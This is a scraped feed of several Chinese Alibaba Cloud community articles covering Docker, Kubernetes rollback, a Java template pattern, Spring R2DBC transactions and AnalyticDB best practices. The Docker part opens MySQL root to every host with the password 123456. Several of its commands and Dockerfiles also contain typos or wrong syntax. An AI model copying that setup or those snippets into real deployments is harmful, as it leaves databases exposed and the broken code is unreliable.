    docker run -d -p 3344:3306 -v /home/conf:/etc/mysql/conf.d -v /home/logs:/logs -v /home/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 mysql

    此时我们使用远程连接软件会报错

    -

    # 解决报错
    # 1. 进入容器内
    docker exec -it 容器ID /bin/bash
    # 2. 进入MySQL
    mysql -uroot -p123456
    # 3. 授权
    mysql> GRANT ALL ON *.* TO 'root'@'%';
    # 4. 刷新权限:
    mysql> flush privileges;
    # 5. 更新加密规则:
    mysql> ALTER USER 'root'@'localhost' IDENTIFIED BY 'password' PASSWORD EXPIRE NEVER;
    # 6. 更新root用户密码:
    mysql> ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '123456';
    # 7. 刷新权限:
    mysql> flush privileges;

    具名和匿名挂载

    -v 容器内路径          # 匿名挂载
    -v 卷名:容器内路径         # 具名挂载
    -v 宿主机路径:容器内路径 # 指定路径挂载

    Docker容器内的卷,在没有指定目录的情况下都在/var/lib/docker/volumes/xxx/_data

    拓展:绑定权限

    # 通过 -v 容器内路径:ro rw 改变读写权限
    ro # readonly 只读
    rw # readwrite 可读可写
    docker run -d nginx01 -v nginxdemo:/etc/nginx:ro nginx
    docker run -d nginx01 -v nginxdemo:/etc/nginx:rw nginx
    # ro:只要看到ro就说明这个路径只能通过宿主机来操作,容器内部是无法操作

    数据卷容器挂载

    目的:实现多个容器间的数据同步(多个MySQL间共享数据)

    # 使用 --volumes-from 容器名称 此命令实现数据卷容器挂载
    docker run -d --name mysql02 -p 3345:3306 --volumes-from mysql01 -e MYSQL_ROOT_PASSWORD=123456 mysql

    DockerFile

    DockerFile是用来构建Docker镜像的文件(命令参数脚本)

    DockerFile构建指令

    FROM                # 基础镜像,一切从这里开始构建
    MAINTAINER             # 镜像是谁写的, 姓名+邮箱
    RUN                    # 镜像构建的时候需要运行的命令
    ADD                    # 步骤,tomcat镜像,这个tomcat压缩包!添加内容 添加同目录
    WORKDIR                # 镜像的工作目录
    VOLUME                # 挂载的目录
    EXPOSE                # 保留端口配置
    CMD                    # 指定这个容器启动的时候要运行的命令,只有最后一个会生效,可被替代
    ENTRYPOINT            # 指定这个容器启动的时候要运行的命令,可以追加命令
    COPY                # 类似ADD,将我们文件拷贝到镜像中
    ENV                    # 构建的时候设置环境变量!

    创建一个自己的CentOS镜像

    • 创建DockerFile

      vim mycentos
    • 编写DockerFile

      FROM centos
      MAINTAINER MT<1746344046@qq.com>
      
      ENV MYPATH /usr/local
      WORKEDIR $MYPATH
      
      RUN yum -y install vim
      
      EXPOSE 80
      
      CMD /bin/bash
    • 构建自己的镜像

      docker build -f mycentos -t mycentosdemodo:1.0 .
    • 查看镜像生成历史

      docker history 镜像ID

    创建Tomcat镜像

    1.准备镜像文件:Tomcat和JDK的压缩包

    2.编写DockerFile

    FROM centos
    MAINTAINER fortuneteller<1746344046@qq.com>
    
    COPY README.txt /usr/local/README.txt
    
    ADD jdk-8u251-linux-x64.tar.gz /usr/local
    ADD apache-tomcat-9.0.35.tar.gz /usr/local
    
    RUN yum -y install vim
    
    ENV MYPATH /usr/local
    WORKDIR $MYPATH
    
    ENV JAVA_HOME /usr/local/jdk1.8.0_251
    ENV CLASSPATH $JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
    ENV CATALINA_HOME /usr/local/apache-tomcat-9.0.35
    ENV CATALINA_BASH /usr/local/apache-toacat-9.0.35
    ENV PATH $PATH:$JAVA_HOME/bin:$CATALINA_HOME/lib:$CATALINA_HOME/bin
    
    EXPOSE 8080
    
    CMD ["/usr/local/apache-tomcat-9.0.35/bin/catalina.sh", "run"]

    3.打包镜像

    # 这里使用的是Dockerfile来明白的脚本,所以省略-f
    docker build -t mytomcat .

    4.启动镜像

    docker run -d -p 3344:8080 --name mttomcat -v /home/fortuneteller/tomcat/test:/usr/local/apache-tomcat-9.0.35/webapps/test -v /home/fortuneteller/tomcat/logs:/usr/local/apache-tomcat-9.0.35/logs mytomcat

    5.测试运行

    6.在宿主机的/home/fortuneteller/tomcat/test目录下创建WEB-INF目录与mt.jsp

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <html>
    <head>
        <title>docker</title>
    </head>
    <body>
    ----------welcome------------
    <%="这是一个测试页面"%>
    </body>
    </html>

    7.在WEB-INF目录下编写web.xml文件

    <?xml version="1.0" encoding="UTF-8"?>
    <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
             version="3.1">
        <display-name>test</display-name>
    </web-app>

    8.测试访问

    本地镜像上传阿里云

    1.登陆阿里云容器镜像服务

    2.创建命名空间

    3.创建仓库

    4.设置固定密码

    5.查看自己的推送命令

    6.使用推送命令完成上传

    7.拉取时同理根据阿里云提示命令完成即可


    Docker总结

    -

    Docker部署SpringBoot项目

    1.使用Maven构建获得jar包

    2.编写Dockerfile

    FROM java:8
    
    COPY *.jar /app.jar
    
    CMD ["--server.port=8080"]
    
    EXPOSE 8080
    
    ENTRYPOINT ["java", "jar", "app.jar"]

    3.上传Docker与jar包到Linux服务器

    4.使用命令获得镜像

    docker build -t ideatest .

    5.使用命令查看获取到镜像编号

    docker images

    6.启动镜像

    docker run -d -p 3344:8080 ideatest  # 3344端口需要提前在阿里云放开

    7.测试访问

    在浏览器输入:服务器ip:3344
    ]]>
    SpringCloud 应用在 Kubernetes 上的最佳实践 — 线上发布(可回滚)-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 通常一次应用的线上发布就表示了一次新功能的上线。在上线过程中,可能发生一些非预期的情况,如新版本软件有bug,或者功能不达预期,就会影响了线上客户的使用。 为了尽快减少对线上用户的影响,发布系统需要提供回滚到前一个或前几个版本的能力。达到快速恢复线上业务的目的。

    从应用的部署变更层次来看,可以分为以下三层:

    1.png

    所以对应了以下的回滚场景:

    • 回滚应用内的配置,适用于由于应用配置变更导致的问题。此时如果应用能够实现动态的配置加载,通过回滚配置就能实现业务恢复的目的。否则需要重启应用
    • 回滚应用代码的版本,适用于代码修改导致的问题。此时需要回滚代码的版本(镜像),重启应用。
    • 回滚应用的工作负载与运维配置(基础设施层)。

    应用内配置回滚

    应用内的配置通常与应用系统需要或业务逻辑配置有关,如配置数据库的连接信息,业务规则配置等,配置的变更也很容易造成线上系统的问题,一般的做法是通过configmap或properties配置文件来实现,这种情况下很难做到动态推送和回滚的能力,因为回滚需要保存不同版本的配置。

    通过 分布配置管理(ACM)(EDAS默认支持)很容易实现配置的集中管理,回滚和灰度,分布式推送,审计等功能。可以在ACM或EDAS的控制台上实现一键回滚,如下图所示:

    2.png

    应用代码回滚

    Deployment是一种常见部署的应用的workload,回滚代码其实对应了回滚对应代码版本的镜像,其实就是对应就是Deployment的回滚,Kubernetes可以通过以下方式支持Deployment的回滚。

    Deployment回滚

    在一个标准的 Kubernetes 体系下,如果出现新版本的pod不能正常工作,需要将deployment回滚到历史版本,Kubernetes 提供了原生的支持;其原理是在默认情况下,kubernetes 会将历史记录保留在系统中,直接使用使用 rollout 命令回滚即可,如下:。

    • 回滚到上一个版本
    kubectl rollout undo deployment.v1.apps/{deployment.name}
    • 回滚到指定的版本

      • 可以通过kubectl rollout history查看历史的版本
    kubectl rollout history  deployment.v1.apps/{deployment.name}
    • 可以通过以下命令回滚到指定的版本
    kubectl rollout undo deployment.v1.apps/{deployment.name} --to-revision={version}

    EDAS中应用回滚

    而在 EDAS 中,结合了原生的能力做了更丰富的白屏的体验,我们就发布过程中发布完成后两个场景分别描述。

    发布过程中回滚

    发布过程中回滚是指在应用发布过程中,就发现了问题,需要将应用回滚到前一个版本。此时的操作就是中断发布流程,将已经升级完成后或正在升级的服务器回滚到前一个版本。

    EDAS在每次变更时候,可以直接中断发布流程,一键回滚。如下图所示:

    3.png

    另外,EDAS发布系统提供单批,分批,金丝雀灰度等多种发布形式,在分批和金丝雀灰度的发布的时候,EDAS还提供不同批次的监控信息,如系统指标,应用指标,应用异常检测等能力,提供快速发现问题能力,如果存在问题,可以立即进行回滚。如下图所示:

    4.png



    我们推荐的方式也是在发布过程中尽量使用分批和金丝雀的能力,以将发布引起的不可用降至最小。

    发布完成后回滚

    发布后回滚是指一次部署过程已经完成,包含部署成功或失败。这个时候,可以通过部署历史的版本来实现回滚的功能。EDAS 默认会存储最多十个部署过的版本,如下图所示:

    5.png

    通过以上的功能,基本上可以覆盖应用在上线过程中需要回滚的场景。减少由于系统发布出问题,造成系统功能使用上的影响。

    应用自动回滚

    从上面的介绍,可以看到回滚的操作都是人工进行的,其实在一些场景里,可以根据一些监控指标,如CPU,load,内存等维度,快速发现问题,就能做到自动回滚,可以能够更快地恢复系统。在 Kubernetes 的体系中,Flagger(https://github.com/weaveworks/flagger) 就是能够实现自动回滚的一个很好的工具。

    应用工作负载和运维配置回滚

    上面介绍了应用内配置和应用代码回滚的方式,在常见的变更中,还存在工作负载及运维配置的变更,如更改工作负载的类型,变更JVM参数,日志配置, 弹性伸缩等。其中JVM参数等通常可以随Deployment进行回滚,但是类似Kubernetes service,日志,弹性伸缩规则等这些基础设施和运维相关的能力回滚就很难做到了。需要将应用的代码,工作负载,运维配置等实现配置化来实现回滚的能力。

    这里推荐阿里巴巴与微软联合提出的OAM(Open Application Model)的规范,他定义了应用的统一交付模型.

    6.png


    在OMA中,一个应用程序包含以下几个核心的理念:

    • Component: 是指应用中的组件,可以是应用运行所依赖的服务如MySQL数据库等,也可以是应用的本身,如Spring cloud的服务提供者。可以通过Component的定义规范来编写一个组件。
    • Trait:是指应用的运维特征,描述了应用部署在具体环境中的运维特征,比如弹性伸缩规则和Ingress配置等,这些运维特征会应用到具体的组件上。
    • Applicationconfiguration:是将Components和traits组装成一个真正能运行起来应用的定义。这个配置文件就是OAM规范中的一个声明式是API,通过它就能实例化出对应的,真实运行的应用。

    一个OAM的应用例子如下:

    apiVersion: core.oam.dev/v1alpha2
    kind: ApplicationConfiguration
    metadata:
      name: springcloud-provider-deployment
      annotations:
        version: v1.0.0
        description: "Description of this deployment"
    spec:
      components:
        - componentName: springcloud-provider-component
          parameterValues:
            - name: PARAMETER_NAME
              value: SUPPLIED_VALUE
            - name: ANOTHER_PARAMETER
              value: "AnotherValue"
          traits:
            - name: manualscaler.core.oam.dev
              version: v1
              spec:
                replicaCount: 3
          scopes:
            - scopeRef:
                apiVersion: core.oam.dev/v1alpha2
                kind: NetworkScope
                name: example-vpc-network

    通过OAM的ApplicationConfiguration这份配置,就能描述线上真正运行的应用,结合能将配置版本化的系统,如Git,ACM等,采用对应的ApplicationConfiguration的版本,就能实现应用的一键回滚。EDAS里就是通过OAM规范来管理Kubernetes的应用,结合OAM声明式API的方式,EDAS里将会实现多种应用回滚的场景,为线上业务保驾护航。

    后续及结语

    本章我们介绍了EDAS的发布系统在EDAS Kubernetes集群上进行应用发布的时候,针对一些异常场景,如何进行快速回滚。但是如果出现问题,如何快速找到问题所在,接下来的文章我们将介绍,在EDAS里通过线上里联调来进行问题诊断。

    ]]>
    (泛型)模板设计模式-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 功能 解析excel表格
    新接到一个功能 解析一个excel表格。并存储入库。实现很简单。写完过后看着代码面向过程。完全没有复用,扩展一说。我希望能用这个excel解析使用于所有这种类型的excel表格。

    设计思路:
    使用模板模式将excel表格的解析过程单独抽出来,创建一个独立的类。解析成map,使用Java反射来创建成对应的对象,然后集合存储后返回

    实现思路:
    在创建的独立类上加上一个泛型用于接收需要去转换的对象实列。创建一个变量去获取泛型的实例类,用于Java反射转换

    代码:实现类

    /**
    * BaseEntity 是公共字典实体类,限定 T 必须为继承
    * BaseEntity 有实体类,避免类型传入错误
    */
    public class ExcelPoiWordAnalysis<T extends BaseEntity>{
    
        protected Class<?> tClass = currentModelClass(getClass()) ;
    
    
        /**
         *  获取泛型对象
         * @param clazz
         * @return
         */
        protected static Class<?> currentModelClass(Class<?> clazz) {
            // 获取超类
            Type type = clazz.getGenericSuperclass();
            if (!(type instanceof ParameterizedType)){
                throw new RuntimeException("超类没有参数化类型");
            }
            // 获取超累泛型上设置的类
            Type trueType = ((ParameterizedType) type).getActualTypeArguments()[0];
            if (!(trueType instanceof Class)) {
                throw new RuntimeException("没有在超累泛型上设置实际的类");
            }
    
            return  (Class<?>) trueType;
        }
    
    
        @Override
        public List<T> analysis(MultipartFile file) {
            解析方法
        }
    
        public List<T> taxWorkBook(Workbook workBook){
          poi解析方法实现
        }
    
    
        public T transition( Map<String, Object> map) {
            // 反射方法
          
        }
    

    逻辑处理类:

    /**
    * 继承ExcelPoiWordAnalysis 传入要解析的对象
    * 就可以得到解析后的对象集合
    */
    @Service
    public class BydjAnalysisServiceImpl extends ExcelPoiWordAnalysis<Entity>  {
    
    
        @Transactional(rollbackFor = Exception.class)
        @Override
        public int wordAnalysis(MultipartFile file)  {
            List<BydjEntity> analysis = analysis(file);
            //   添加逻辑处理类
            return 1;
        }
    
    
    }

    实体类:

    
    /**
    *BaseEntity  是统一字段的公共类就不展示了
    */ 
    public class Entity extends BaseEntity {
    
        private static final long serialVersionUID=1L;
    
    
    
    }

    模板父类ExcelPoiWordAnalysis。实现 解析和对象转换的解耦。ExcelPoiWordAnalysis只需要完成解析的功能和反射的对象转换。具体解析的文档格式和转换的对象实体则根据子类的传入来定义。当不同不是的excel格式和不同对象时。只需要创建新的子类来继承ExcelPoiWordAnalysis就可以完成文档的解析而子类只需要关注数据库逻辑的处理。

    ]]>
    了解Spring R2DBC的声明式事务实现机制-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 Spring非反应式事务实现原理

    Spring基于注解和AOP的声明式事务(@Transactional)已经是业务开发的常用工具,默认是采用同步的方式基于ThreadLocal(保存连接信息和会话信息等)实现,在具体数据库操作时就使用同一个数据库连接,并手动提交事务,保证数据正确性。

    基于反应式的Spring事务有何不同

    Spring的反应式实现是基于Reactor框架,该框架对异步编程做了高度的抽象化,主动的线程切换只能通过publishOn/subscribeOn跟换线程池,导致在同步场景表现出色的ThreadLocal无法满足全异步化的事务信息存储需求。Reactor 3提供了一种叫做Context的数据结构,用来替代Threadlocal。

    Context的传播机制

    整体上Context类非常类似一个不可变的Map<Object, Object>,采用CopyOnWrite策略,绑定在每一个订阅者上。但是,context传播具体是怎么实现的呢?有一个简单的例子:

    Flux.just(1, 2, 3)
        .flatMap(x -> Mono.subscriberContext()
            .map(context -> String.format("%s%d", context.get("msg"), x))
        ).subscriberContext(context -> context.put("msg", "no."))
        .subscribe(System.out::println);

    从代码可以看到是通过subscriberContext方法直接put数据,但是这个Context对象是什么时候创建的呢?查看subscriberContext方法的源码发现方法会创建一个FluxContextStart对象,该对象是InternalFluxOperator的子类,实现了subscribeOrReturn(被订阅时调用),在其中将上下文的操作应用到订阅者已有的上下文,而大多数订阅者初始上下文都是Context.empty()。

    final class FluxContextStart<T> extends InternalFluxOperator<T, T> implements Fuseable {
    ....
        @Override
        public CoreSubscriber<? super T> subscribeOrReturn(CoreSubscriber<? super T> actual) {
            Context c = doOnContext.apply(actual.currentContext());
            return new ContextStartSubscriber<>(actual, c);
        }
    ....
    }

    从FluxContextStart的实现可见,Context是由CoreSubscriber的实例所持有,因此Context的传播实际是订阅者实例的传播。而为了避免因为不同操作导致的并发问题,对订阅者的操作都是采用装饰者模式包装一个新的实例,类似Spark RDD的形式。

    public final void subscribe(Subscriber<? super T> actual) {
        CorePublisher publisher = Operators.onLastAssembly(this);
        CoreSubscriber subscriber = Operators.toCoreSubscriber(actual);
    
        try {
            ...
            publisher.subscribe(subscriber);
        }
        catch (Throwable e) {
            Operators.reportThrowInSubscribe(subscriber, e);
            return;
        }
    }

    基于Flux的subscribe方法可见,每次订阅时都会向上游发布者传递订阅者实例,因此Context是自底向上传播。

    Spring R2DBC的事务实现

    基于对常规声明式事务的认识,找到TransactionAspectSupport#invokeWithinTransaction方法,这个方法定义了声明的事务具体要路由到哪个事务管理器执行。自Spring 5.2 M2之后,Spring开始支持反应式事务,在invokeWithinTransaction方法内可以看到如下代码:

    if (this.reactiveAdapterRegistry != null && tm instanceof ReactiveTransactionManager) {
        // 从缓存中获取已经加载的反应式事务管理器
        ReactiveTransactionSupport txSupport = this.transactionSupportCache.computeIfAbsent(method, key -> {
            if (KotlinDetector.isKotlinType(method.getDeclaringClass()) && KotlinDelegate.isSuspend(method)) {
                throw new TransactionUsageException(
                        "Unsupported annotated transaction on suspending function detected: " + method +
                        ". Use TransactionalOperator.transactional extensions instead.");
            }
            // 根据返回值类型获取适配器
            ReactiveAdapter adapter = this.reactiveAdapterRegistry.getAdapter(method.getReturnType());
            if (adapter == null) {
                throw new IllegalStateException("Cannot apply reactive transaction to non-reactive return type: " +
                        method.getReturnType());
            }
            return new ReactiveTransactionSupport(adapter);
        });
        // 执行事务
        return txSupport.invokeWithinTransaction(
                method, targetClass, invocation, txAttr, (ReactiveTransactionManager) tm);
    }

    再继续跟进到反应式的txSupport.invokeWithinTransaction里面,会将相关的事务管理器和事务设置等信息放入上文说到的Context中。具体的对于R2DBC的数据库反应式事务而言,其主要调用的是TransactionalOperatorImpl#transactional方法:

    @Override
    public <T> Mono<T> transactional(Mono<T> mono) {
        return TransactionContextManager.currentContext().flatMap(context -> {
            Mono<ReactiveTransaction> status = this.transactionManager.getReactiveTransaction(this.transactionDefinition);
            // This is an around advice: Invoke the next interceptor in the chain.
            // This will normally result in a target object being invoked.
            // Need re-wrapping of ReactiveTransaction until we get hold of the exception
            // through usingWhen.
            return status.flatMap(it -> Mono.usingWhen(Mono.just(it), ignore -> mono,
                    this.transactionManager::commit, (res, err) -> Mono.empty(), this.transactionManager::commit)
                    .onErrorResume(ex -> rollbackOnException(it, ex).then(Mono.error(ex))));
        })
        .subscriberContext(TransactionContextManager.getOrCreateContext())
        .subscriberContext(TransactionContextManager.getOrCreateContextHolder());
    }    

    从代码可以看见,这里也是首先从上下文获取事务信息,保证整个反应式处理的各个操作符都会用到同样的数据库连接,并最终实现声明式事务功能。

    总结

    Spring实现反应式事务本质上基于Reactor的Context传播机制,结合原有事务机制改造出来的,所以总结下来就两个核心点:1、Reactor的Context是一种类似不可变Map,绑定在每个订阅者自底向上传播;2、Spring反应式事务通过Reactor的Context在不同线程池共享。

    参考资料

    ]]>
    开放下载!《DTS控制台入门一本通》-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 本书图文结合,内容通俗易懂,逐层深入,重点内容详细剖析。通过作者透彻而睿智的描述,使读者在阅读本书时可以更加快速的了解到所需的DTS知识和技术。

    点击免费下载
    《DTS控制台入门一本通》>>>

    本书结构合理,循序渐进。通过阅读本书可以迅速掌握DTS的概念,打下坚实的基础,并养成良好的习惯。

    《DTS控制台入门一本通》的作者,阿里云工程师手辨,具有多年数据库维护与开发工作经验,在本书编写的过程中秉承理论学习与实际开发相结合的原则,力求实现所有技术点和经典案例的完美搭配,以其独有的洞察力和创造力,引导DTS初学者理解这些问题并学会解决方法。

    也可以PC端点击https://developer.aliyun.com/topic/download?id=803 下载

    test

    本书从初学者角度出发,通过通俗易懂的语言、流行有趣的实例,详细地介绍了使用DTS控制台所需要的知识和技术。全书共分 6 章,包括DTS介绍,DTS概览,DTS数据迁移,DTS数据订阅,DTS数据同步和操作日志。书中的知识点都通过有趣而详实的叙述方式娓娓道来,循序渐进地为读者讲解DTS控制台的使用,帮助读者更好地巩固所学知识,提升能力。





    —精彩章节抢先看—

    image.png
    image.png
    image.png
    image.png
    image.png
    image.png



    阿里云开发者社区——藏经阁系列电子书,汇聚了一线大厂的技术沉淀精华,爆款不断。点击链接获取海量免费电子书:https://developer.aliyun.com/topic/ebook
    开发者藏经阁.jpg

    ]]>
    AnalyticDB for MySQL最佳实践总结-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 表设计的最佳实践:

    ADB做为一个分布式的,追求实时分析海量数据的极致性能,需要充分发挥分布式数据库的优势,满足ADB达到最佳性能的特征要求,对表的设计时,需要注意以下几点规则。

    1.选择合适的表类型(维度表or普通表):

    维度表:又称广播表,数据仓库中的一个概念,一般存储一些维度数据。在ADB中建表语句中有DISTRIBUTED BY BROADCAST 的关键字,这些表会在集群的每个节点存储一份数据,因此建议维度表的数据量不宜太大,每张维度表存储的数据不超过10万行。
    普通表:也叫作分区表、事实表,一般存储业务的主题数据。普通表可存储的数据量通常比较大,可以存储千万条甚至万亿条数据,可以对其设置一级分区对数据做sharding或者二级分区进行数据的生命周期管理。

    注意:维度表如果太大会导致数据存储空间的膨胀,节点越多膨胀越大,同时也会导致实时写入时性能下降,iops会比较高。

    2.选择合适的分布键(一级分区键):

    ADB中创建普通表时,默认需要通过DISTRIBUTED BY HASH(column_name,...)指定分布键,按照column_name的HASH值进行分区。ADB支持将多个字段作为分布键。
    分布键的选择依据:
    尽可能选择参与JOIN的字段作为分布键,例如按照用户维度透视或者圈人,可以选择user_id作为分布键。
    尽可能选择值分布均匀的字段作为分布键,例如交易ID、设备ID、用户ID或者自增列作为分布键。
    注意:分布键不均匀容易导致数据分布不均,严重影响写入和查询的效率,此外也容易导致单节点磁盘写满导致整个集群锁定不可用。一般情况数据均匀是第一优先级,然后才考虑JOIN KEY对齐的问题,除非有业务就是想定制化。

    3.选择合适的分区键(二级分区键):

    如果业务明确有增量数据导入需求,创建普通表时可以同时指定分布键和分区,分区可以实现数据的增量同步。
    1)直接用ds的值来做分区 PARTITION BY VALUE(ds)
    2)ds转换后的天做分区 PARTITION BY VALUE(DATE_FORMAT(ds, '%Y%m%d'))
    3)ds转换后的月做分区 PARTITION BY VALUE(DATE_FORMAT(ds, '%Y%m'))
    4)ds转换后的年做分区 PARTITION BY VALUE(DATE_FORMAT(ds, '%Y'))
    注意:一个实例能承载的最大二级分区数目是有限的,当前限制是10240。请提前规划后这个实例的所有表二级分区键,尽量充分利用二级分区,不要让每个二级分区的数据量过小,如:你使用天做二级分区,但是每天数据量很小,这时可考虑用月来做二级分区。否则会导致数据库中需要保存分区数据的元数据特别多,这些元数据是需要存放在内存中,会占据内存较多的空间,容易导致系统的GC或者OOM,同时也会导致实时写入时的iops比较高。

    二级分区的过期策略:
    目前二级分区过期策略是依据大小排序,只保留最大的N个二级分区,其中N为生命周期的大小。假设表A定义的生命周期个数为3,目前存在的二级分区为202001,202002,202003。当分区值为202004的数据写入进来时202001分区就会被淘汰。需要注意的是分区淘汰是延迟进行的,不保证202004的数据写入后立即会淘汰202001。此外在使用二级分区时也要注意脏数据带来的误淘汰问题,如果此时表A分别写入了分区值为300001,300002,300003的三条脏数据,那么分区淘汰策略也会被触发,整表将只剩下分区值最大的三条脏数据。

    4.选择合适的主键:

    在表中定义主键可以去实现数据消重(Replace into)和数据更新操作(Delete、Update)。只有定义过主键的表支持数据更新操作(DELETE和UPDATE)。
    主键的选择依据:
    1)尽可能选择单数字类型字段作为主键,表的性能相对更好。ADB支持将字符串或者多字段组合作为主键。
    2)主键中必须包含分布键和分区键,如果有二级分区键的话,需要包含二级分区键。
    注意:设置的主键的字段不宜太大,或者某个字段的长度不宜过长,否则的话,会导致数据库的IOPS很高。

    5.选择合适聚集索引:

    聚集索引会将该列或者多列排序,保证该列相同或者相近的数据存在磁盘的相同或相近位置,当以聚集列做为查询条件时,查询结果保持在磁盘的相同位置,这样可以减少磁盘的IO。
    聚集索引的选择依据:
    查询一定会携带的字段可以作为聚集索引。例如,电商卖家透视平台中每个卖家只访问自己的数据,卖家ID可以定义为聚集索引,保证数据的局部性,提升数据查询性能。

    注意:目前聚集索引只支持一个,但该聚集索引可以有多列。目前除非对非常分散的数据进行点查,否则聚集索引对性能的帮助很少。

    6.设计合适的数据类型:

    原理:
    ADB处理数值类型的性能远好于处理字符串类型。原因在于:
    1)数值类型定长,占用内存少,存储空间小。
    2)数值类型计算更快,尤其是join时。
    3)从内部索引机制上,字符串类型适合等值查询和范围查询情况,而时间,数值类型性能更高,建议用户尽可能- - 使用数值类型,减少使用字符串类型。
    4)选择尽可能小的列,列类型要尽可能选择匹配的列,比如性别就可以用boolean或者byte类型,数据长度不大的可以用int
    5)在同一个业务模型内,相同字段设计成相同的数据类型和字段长度,字段命名也保持一致,特别是涉及到主外键关联的字段更要注意,避免表在关联时不同的数据类型的字段关联导致隐式转换。

    方法:
    常见将字符串转换为数值类型方法:
    1)包含字符前缀或后缀,例如E12345,E12346等。可以直接去掉前缀或者将前缀映射为数字。
    2)该列只有少数几个值,例如国家名。可以对每个国家编码,每个国家对应一个唯一数字。
    时间/日期类型数据,避免使用varchar字符类型存储,3)尽量使用date,timestamp或者int类型存储时间类型。
    4)对于地理经度维度的使用,需要通过地理函数查询情况,数据类型采用double数据类型。

    数据写入方面的最佳实践:

    实时写入:

    1.批量打包的方式提交:

    向表中写入数据时,可以通过批量打包方式INSERT INTO和REPLACE INTO提高数据写入性能。建议如下:
    1)通过每条INSERT或者REPLACE语句写入的数据行数大于1000行,但写入的总数据量不宜太大,不要超过16MB。
    2)通过批量打包方式写入数据时,单个批次的写入延迟相对会高一些,但是整体的性能会提升。
    3)写入报错时,需要做重试确保数据被写入,重试导致的数据重复可以通过表的主键来消除。
    4)如果不需要对原始的数据进行修改,直接使用insert into比replace into效率会高3倍以上。 样例:

    (id, name,sex,age,login_time) 
    values
    (1,'dcs',0,23,'2018-03-02 10:00:00'),
    (2,'hl',0,23,'2018-03-02 10:01:00'),
    (3,'xx',0,23,'2018-03-02 10:02:00')
    ......;

    2.更新数据

    数据更新有多种方式,使用区别如下:
    • 高频基于主键的行级覆盖更新, 且应用可以补齐所有列,请使用replace into values批量打包
    • 高频基于主键的行级覆盖更新, 应用不能补齐所有列,请使用update into values批量打包
    • 低频基于主键更新,可以使用replace into或者update into单条数据
    • 低频任意条件更新,请使用 update set where
    注意:update需要查表来填补更新中缺失的旧值,因此比replace into多一次查询,性能较低,不建议做高频、大批量的update操作。如果线上update性能无法满足需求,需考虑替换成Replace into,由应用端补旧值。

    3.删除数据

    数据删除有多种方式,使用区别如下:
    • 低频主键条件删除,请使用 delete from where pk = xxx
    • 低频任意条件删除,请使用 delete from where
    • 删除单个二级分区,请使用 truncate partition
    • 删除单表(包括所有二级分区,如有),请使用truncate table或drop table

    批量导入:

    1.如何选择是批量导入还是实时导入

    1)从ODPS、OSS导入ADB,推荐使用insert overwrite select做批量导入,原因有二: 一方面,批量导入适合大数据量导入,性能好 二方面,批量导入适合数仓语义,即导入过程中旧数据可查,导入完成一键切换新数据。如果导入失败,新数据会回滚,不影响旧数据的查询。
    2)从RDS、MySQL、ADB等导入ADB,看数据量情况,数据量不大的(百万级别的表),推荐使用insert into select做实时导入,数据量大的,推荐使用insert overwrite select做批量导入。

    2.导入并发和资源说明

    1)单张表的导入会在系统内部串行,不同表之间的导入任务会并行,默认并行度是2;从ODPS分区表导入到ADB时,每次导入横跨的分区数不要超过30个,同一张表的不同分区导入是排队串行,不同表的导入,同时提交,有并行度n个任务同时导入,出于资源控制,超出的任务也会排队。
    2)导入使用的是ADB内部的资源,与查询一样,属于同一个实例的资源。推荐导入任务在查询qps比较低的时候进行,比如凌晨0点以后,并推荐用户配置d2等定时任务,错峰做导入。

    高效查询的最佳实践

    ADB的优势是能在海量数据场景下,面对复杂查询,做到实时的在线分析。ADB的SQL调优需要充分发挥分布式计算优势,以及ADB本身的一些特征,同时对于通用的数据库优化的方法论同样是适用。

    查询优化的通用法则:

    按照斗佛早些年在《ORACLE DBA手记》上写的文章,数据访问优化满足以下漏斗法则:
    image.png
    1、 减少数据访问(减少磁盘访问)
    例如:尽量多的使用过滤条件,尽早的提前过滤数据,减少参与计算的数据量,能在子查询里面把数据先过滤的提前过滤。
    2、 返回更少数据(减少网络传输或磁盘访问)
    例如:避免select * 的查询,特别的在OLAP数据库下,往往表的列数比较多,同时由于基于列存或者行列混存,对于这种select * 的操作,需要请求的IO回更多。
    3、 减少交互次数(减少网络传输)
    例如:上文提到的批量提交。
    4、 减少服务器CPU开销(减少CPU及内存开销)
    例如:
    A. 减少不必要的排序和分页,特别是在子查询中的排序
    B. 在满足业务前提下,尽量减少count distinct操作
    C. 在满足业务前提下,特别是在海量数据下,采用类似Hyperloglog的近似计算代替准确计算。
    5、 利用更多资源(增加资源)
    例如:
    A. 设计表的时候,尽量避免分区倾斜,导致存储和计算压在某一个节点上,尽量把数据都均匀的散列到所有的节点上,充分利用所有机器的能力,最大发挥分布式的数据库的效能
    B. ADB本身就是MPP大规模并行处理的典型系统,在内核层面也做了大量的优化处理,充分利用更多的资源。

    ADB特殊场景的优化:

    外表的查询最佳实践

    不要尝试对外表进行较为复杂的计算,这样会导致比较严重的GC,因为外表的计算是全部把数据拖过来算的,且网络带宽的压力也会变大。
    同时,外部不支持DML操作(delete,update,truncate),如果要修改外表的数据,需要在源头表里面操作。

    巧妙的使用聚集索引:

    当查询条件一定包含某列时,特别是该列的数据在存储上非常分散时,对该列建立聚集索引,性能会有明显的提升,可以采用类似如下的sql语句添加聚集索引:
    alter table table_name ADD CLUSTERED INDEX index_cls (d_fdbid);
    注意:如果表里面的数据已经有了,直接add cluster index不会对存量的数据排序,需要重建表,在建表的时候加上聚集列关键字。

    减少节点间的数据交互:

    分布式数据库,在充分发挥分布式计算的同时,有时也会加大跨节点间的网络开销,特别是请求的数据散列在各个节点上时,请求的数据量有比较少,且节点个数又比较多情况下,跨网络开销的情况就非常明显,因此可以采用以下几个思路:

    1)如果能采用本地计算,在各个节点内join或者聚合分析时,尽量在本节点内计算,具体做法就是,如果在满足业务前提下,能用户一级分区键关联的,采用一级分区键关联;能对一级分区键进行group by的,采用一级分区键group by,这样可以尽量采用localjoin,大大减少跨网络的访问。
